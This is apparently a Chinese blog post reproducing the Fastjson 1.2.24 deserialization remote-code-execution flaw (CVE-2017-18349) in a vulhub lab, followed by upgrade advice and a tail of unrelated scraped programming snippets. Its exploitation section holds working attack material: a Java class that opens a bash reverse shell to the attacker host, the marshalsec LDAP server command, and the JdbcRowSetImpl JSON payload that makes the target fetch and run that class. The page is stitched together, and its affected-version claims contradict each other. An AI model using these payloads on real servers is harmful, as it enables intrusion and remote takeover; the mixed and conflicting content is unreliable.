Fastjson1.2.24-RCE 漏洞复现(CVE-2017-18349)

2023-10-31

0x01 漏洞简介:

​         fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。

​         阿里巴巴公司开源Java开发组件Fastjson存在反序列化漏洞(CNVD-2022-40233)。攻击者可利用该漏洞实施任意文件写入、服务端请求伪造等攻击行为,造成服务器权限被窃取、敏感信息泄漏等严重影响。    

0x02 影响版本: 

fastjson<=1.2.24

该漏洞影响fastjson 1.2.80及之前所有版本

 图示:

 0x03 漏洞复现: 

环境准备

被攻击主机:CentOS7(192.168.217.140)

JDK版本:1.8 (shell弹不进去请检查版本)

靶场环境:vulhub/fastjson-1.2.24-rce

攻击主机:kali(192.168.217.141)

使用工具:marshalsec-0.0.3-SNAPSHOT-all.jar ,

GitHub - RandomRobbieBF/marshalsec-jar: marshalsec-0.0.3-SNAPSHOT-all compiled on X64

  • docker拉取镜像
docker-compose up -d

  • 启动环境并访问,出现下面页面表示访问成功

漏洞验证:

  • 配合dnslog申请个子域名来探测是否存在漏洞
  • 访问192.168.217.140:8090,使用brup拦截请求  
  • 修改请求方法为post,修改 Content-Type为: application/json
  • 添加请求正文,使用DNSLog进行验证:
{
	"a":{
	"@type":"java.net.Inet4Address",
	"val":"申请的域名"
	}
}

  • 发送后,dns有返回,证明存在此漏洞

 漏洞利用:

  • 编辑恶意类,创建一个.java 的文件,以反弹shell为例,而后使用javac命令进行编译而后放于kali中
import java.lang.Runtime;
import java.lang.Process;

public class GetShell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.217.141/4444 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

 

  • 在cmd里面使用命令,编译为.class文件
javac GetShell.java

  • 将生成的文件,放在kali上,并开放http将GetShell.class变成可以访问
python -m SimpleHTTPServer

  • 然后下载前面的POC,上传至kali。起一个LDAP服务器监听6666端口,远程加载GetShell类,并同时打开监听反弹shell的端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.217.141:8000/#GetShell 6666      

  • 然后使用BP抓包,再次修改请求正文,使其下载恶意代码并执行
{
	"b":{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"ldap://192.168.217.141:6666/GetShell",
	"autoCommit":true
	}
}
  • 按照图示,点击发送

  • 发送完成后,LDAP服务器接收到请求

  • httpserver收到get请求

  • 同时也接收到反弹shell,到此漏洞利用完成

 0x04 修复方案: 

  • 建议升级到最新版本1.2.83
  • safeMode加固。Fastjson在1.2.68及之后的版本中引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持 autoType,可杜绝反序列化Gadgets类变种攻击
  • 升级至Fastjson v2
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Fastjson1.2.24-RCE 漏洞复现(CVE-2017-18349) 的相关文章

  • Grails 3.x bootRun 失败

    我正在尝试在 grails 3 1 11 中运行一个项目 但出现错误 失败 构建失败并出现异常 什么地方出了错 任务 bootRun 执行失败 进程 命令 C Program Files Java jdk1 8 0 111 bin java
  • 如何在 Play java 中创建数据库线程池并使用该池进行数据库查询

    我目前正在使用 play java 并使用默认线程池进行数据库查询 但了解使用数据库线程池进行数据库查询可以使我的系统更加高效 目前我的代码是 import play libs Akka import scala concurrent Ex
  • Java - 将节点添加到列表的末尾?

    这是我所拥有的 public class Node Object data Node next Node Object data Node next this data data this next next public Object g
  • 在 java 类和 android 活动之间传输时音频不清晰

    我有一个android活动 它连接到一个java类并以套接字的形式向它发送数据包 该类接收声音数据包并将它们扔到 PC 扬声器 该代码运行良好 但在 PC 扬声器中播放声音时会出现持续的抖动 中断 安卓活动 public class Sen
  • Java JDBC:更改表

    我希望对此表进行以下修改 添加 状态列 varchar 20 日期列 时间戳 我不确定该怎么做 String createTable Create table aircraft aircraftNumber int airLineCompa
  • 给定两个 SSH2 密钥,我如何检查它们是否属于 Java 中的同一密钥对?

    我正在尝试找到一种方法来验证两个 SSH2 密钥 一个私有密钥和一个公共密钥 是否属于同一密钥对 我用过JSch http www jcraft com jsch 用于加载和解析私钥 更新 可以显示如何从私钥 SSH2 RSA 重新生成公钥
  • 无法展开 RemoteViews - 错误通知

    最近 我收到越来越多的用户收到 RemoteServiceException 错误的报告 我每次给出的堆栈跟踪如下 android app RemoteServiceException Bad notification posted fro
  • 控制Android的前置LED灯

    我试图在用户按下某个按钮时在前面的 LED 上实现 1 秒红色闪烁 但我很难找到有关如何访问和使用前置 LED 的文档 教程甚至代码示例 我的意思是位于 自拍 相机和触摸屏附近的 LED 我已经看到了使用手电筒和相机类 已弃用 的示例 但我
  • 如何将 pfx 文件转换为 jks,然后通过使用 wsdl 生成的类来使用它来签署传出的肥皂请求

    我正在寻找一个代码示例 该示例演示如何使用 PFX 证书通过 SSL 访问安全 Web 服务 我有证书及其密码 我首先使用下面提到的命令创建一个 KeyStore 实例 keytool importkeystore destkeystore
  • 使用Caliper时如何指定命令行?

    我发现 Google 的微型基准测试项目 Caliper 非常有趣 但文档仍然 除了一些示例 完全不存在 我有两种不同的情况 需要影响 JVM Caliper 启动的命令行 我需要设置一些固定 最好在几个固定值之间交替 D 参数 我需要指定
  • 总是使用 Final?

    我读过 将某些东西做成最终的 然后在循环中使用它会带来更好的性能 但这对一切都有好处吗 我有很多地方没有循环 但我将 Final 添加到局部变量中 它会使速度变慢还是仍然很好 还有一些地方我有一个全局变量final 例如android Pa
  • 加密 JBoss 配置中的敏感信息

    JBoss 中的标准数据源配置要求数据库用户的用户名和密码位于 xxx ds xml 文件中 如果我将数据源定义为 c3p0 mbean 我会遇到同样的问题 是否有标准方法来加密用户和密码 保存密钥的好地方是什么 这当然也与 tomcat
  • AWS 无法从 START_OBJECT 中反序列化 java.lang.String 实例

    我创建了一个 Lambda 函数 我想在 API 网关的帮助下通过 URL 访问它 我已经把一切都设置好了 我还创建了一个application jsonAPI Gateway 中的正文映射模板如下所示 input input params
  • 在 Mac 上正确运行基于 SWT 的跨平台 jar

    我一直致力于一个基于 SWT 的项目 该项目旨在部署为 Java Web Start 从而可以在多个平台上使用 到目前为止 我已经成功解决了由于 SWT 依赖的系统特定库而出现的导出问题 请参阅相关thread https stackove
  • 无法捆绑适用于 Mac 的 Java 应用程序 1.8

    我正在尝试将我的 Java 应用程序导出到 Mac 该应用程序基于编译器合规级别 1 7 我尝试了不同的方法来捆绑应用程序 1 日食 我可以用来在 Eclipse 上导出的最新 JVM 版本是 1 6 2 马文 看来Maven上也存在同样的
  • 如何从泛型类调用静态方法?

    我有一个包含静态创建方法的类 public class TestClass public static
  • 如何在桌面浏览器上使用 webdriver 移动网络

    我正在使用 selenium webdriver 进行 AUT 被测应用程序 的功能测试自动化 AUT 是响应式网络 我几乎完成了桌面浏览器的不同测试用例 现在 相同的测试用例也适用于移动浏览器 因为可以从移动浏览器访问 AUT 由于它是响
  • 在 Maven 依赖项中指定 jar 和 test-jar 类型

    我有一个名为 commons 的项目 其中包含运行时和测试的常见内容 在主项目中 我添加了公共资源的依赖项
  • 节拍匹配算法

    我最近开始尝试创建一个移动应用程序 iOS Android 它将自动击败比赛 http en wikipedia org wiki Beatmatching http en wikipedia org wiki Beatmatching 两
  • 使用 xpath 和 vtd-xml 以字符串形式获取元素的子节点和文本

    这是我的 XML 的一部分

随机推荐

  • JAVA微信小程序支付源码

    做了很多次都没整理 总以为脑子记住了 可当下次用的时候又跟个脑瘫孩儿一样 今天就记录一下部分代码 需要帮助加QQ 1137586868 首先解释一下微信的签名制作方式 这里可能让小白最头疼的了 统一下单和支付时要的签名制作方式也都不一样 我
  • 卸载cpu版本的torch并离线安装对应的gpu版本

    每次从github上安装项目对应的库 利用requirements txt安装很容易出现版本不对应的情况 尤其是将torch的gpu版本安装成cpu 这里记录一些查看版本的指令和离线安装的方法 就不用每次百度啦 注 其他库的离线安装也可以用
  • stm32不使用外部晶振管脚怎么处理_stm32的外部晶振不起振以及更改外部晶振值的问题...

    今天有人问我关于外部晶振不起振以及如歌更改32的外部晶振 在此我做一个简单的记录 以stm32f1系列为例 其余类似 1 晶振不起振 此次遇到的问题倒不是出在电路上 实际上还是软件上的问题 画的新板子 换了一块贴片的晶振 与原来的直插式有点
  • Linux (二): 文件系统介绍、文件处理与权限操作

    目录 四 文件系统 分区与文件系统 组成 文件读取 磁盘碎片 block inode 目录 日志 挂载 目录配置 五 文件 文件属性 文件与目录的基本操作 1 ls 2 cd 3 mkdir 4 rmdir 5 touch 6 cp 7 r
  • Flink 1.17教程:输出算子之输出到Kafka

    输出到Kafka 1 添加Kafka 连接器依赖 由于我们已经测试过从Kafka数据源读取数据 连接器相关依赖已经引入 这里就不重复介绍了 2 启动Kafka集群 3 编写输出到Kafka的示例代码 输出无key的record public
  • word2vec和常见CNN+RNN网格结构组成的文本分类模型

    作者为了应付毕业 所以在补充深度学习相关知识 这是我尝试把word2vec和深度学习相互结合的一次记录 数据集来源 数据集预处理 生成word2vec模型 搭建网络并且训练 数据集来源 本文的数据集源自kaggle比赛中的NLP入门比赛 灾
  • S3C2416 SD卡启动和NAND启动的配置

    S3C2416的启动方式分为IROM NAND ONENAND ROM三种模式 有的datasheet上只有IROM ONENAND ROM两种模式 如下图所示 图1 图2 图2应该是早期三星的2416手册 图1为之后再次更新的 所以这里以
  • R语言实验课(生信)(附代码)

    实验五 题目1 解决方法 a lt read table E R Rcode temp txt 读取txt文件 找到下载路径 b lt list c lt list d lt list e lt list h lt matrix 0 5 1
  • 云风的新书电子版出来的真快

    云风大侠新书出来没几天 电子版就出来了 电骡上好像很早就有下载的了 不过我认为电子版不会影响销售的 只会聚集更多的人气 我这里也有个链接 ftp pub pub ftp PicDisk net pub Scan 游戏之旅 我的编程感悟 pd
  • 关于2022年9月以太坊合并你需要知道的10件事

    关于2022年9月以太坊合并你需要知道的10件事 1 什么是合并 合并是以太坊区块链将共识机制从工作量证明 pow 转为权益证明 pos 的事件 是以太坊主网与信标链 beacon chain 合并的简称 2 为什么 合并 这么值得关注 在
  • MicroBlaze系列教程(5):AXI_UART16550的使用

    文章目录 toc AXI UART16550简介 MicroBlaze硬件配置 常用函数 使用示例 参考资料 工程下载 本文是Xilinx MicroBlaze系列教程的第5篇文章 AXI UART16550简介 axi uart16550
  • MockMvc

    MockMvc classes SpringbootApplication class 指定入口启动类 webEnvironment SpringBootTest webEnvironment RANDOM PORT采用随机端口启动 不会产
  • MMU的作用及工作过程

    以下内容摘自 步步惊芯 软核处理器内部设计分析 一书的第10章 MMU剖析 MMU的作用及工作过程 MMU Memory Management Unit 是内存管理单元的简称 读者朋友在学习嵌入式的时候应该听说过 CLinux 这是适合没有
  • Android自动化测试框架

    1 Monkeyrunner 优点 操作最为简单 可以录制测试脚本 可视化操作 缺点 主要生成坐标的自动化操作 移植性不强 功能最为局限 2 Rubotium 主要针对某一个APK进行自动化测试 APK可以有源码 也可以没有源码 功能强大
  • ug装配绕轴旋转_UG绘制一个灯泡,这个白炽灯大家都熟悉吧

    灯泡三维建模你会吗 今天来学习一下吧 白炽灯是一种热辐射光源 能量的转换效率很低 只有2 4 的电能转换为眼睛能够感受到的光 虽然现在是普遍选用日光灯 但在10多年前 白炽灯还是使用最广泛的 今天就来用UG画个白炽灯怀念下吧 这个灯泡看看起
  • 计算机网络基础--互联网组成

    目录 互联网的边缘部分 通信方式 C S方式 通信方式 P2P方式 互联网的核心部分 电路交换 分组交换 报文交换 三种交换比较 互联网这个词想必对于大家来说已经不陌生了 那么你能说出互联网是由什么组成的吗 既然要步入互联网行业 那就应该知
  • 基于flowplayer的视频缩略图的视频预览

    大家在平时观看视频的视频网站中 比如优酷 爱奇艺 腾讯视频等 鼠标移动至播放条区域的时候 大家可以看到会弹出小的视频预览图片 这样子就可以给用户很好体验 至少可以知道前后播放的内容 最近公司业务需要 就不得不研究了 本文将从三个方面进行总结
  • 【OpenCV实战】这是我看过最详细的计算机视觉小项目,基于OpenCV进行长时间曝光,学到了~(赶紧收藏)

    前言 在本文中 我们将学习长时间曝光摄影技术 以及如何使用Python和OpenCV 开源计算机视 觉库 对其进行仿真 作者 程序员梨子 文章源码免费获取 为了感谢每一个关注我的小可爱 每篇文章的项目源码都是无偿分享滴 点下面找我获取完整资
  • matlab @函数_用MATLAB绘制正弦函数的图形

    用MATLAB正确地绘制正弦函数的图形 从中你会发现许多技术细节问题 一些抽象的理论问题 你可以在实践中得以启发 close all clear n 64 x 0 2 pi n 2 pi x x 1 n y sin x figure ste
  • Fastjson1.2.24-RCE 漏洞复现(CVE-2017-18349)

    0x01 漏洞简介 fastjson是阿里巴巴的开源JSON解析库 它可以解析JSON格式的字符串 支持将Java Bean序列化为JSON字符串 也可以从JSON字符串反序列化到JavaBean 即fastjson的主要功能就是将Java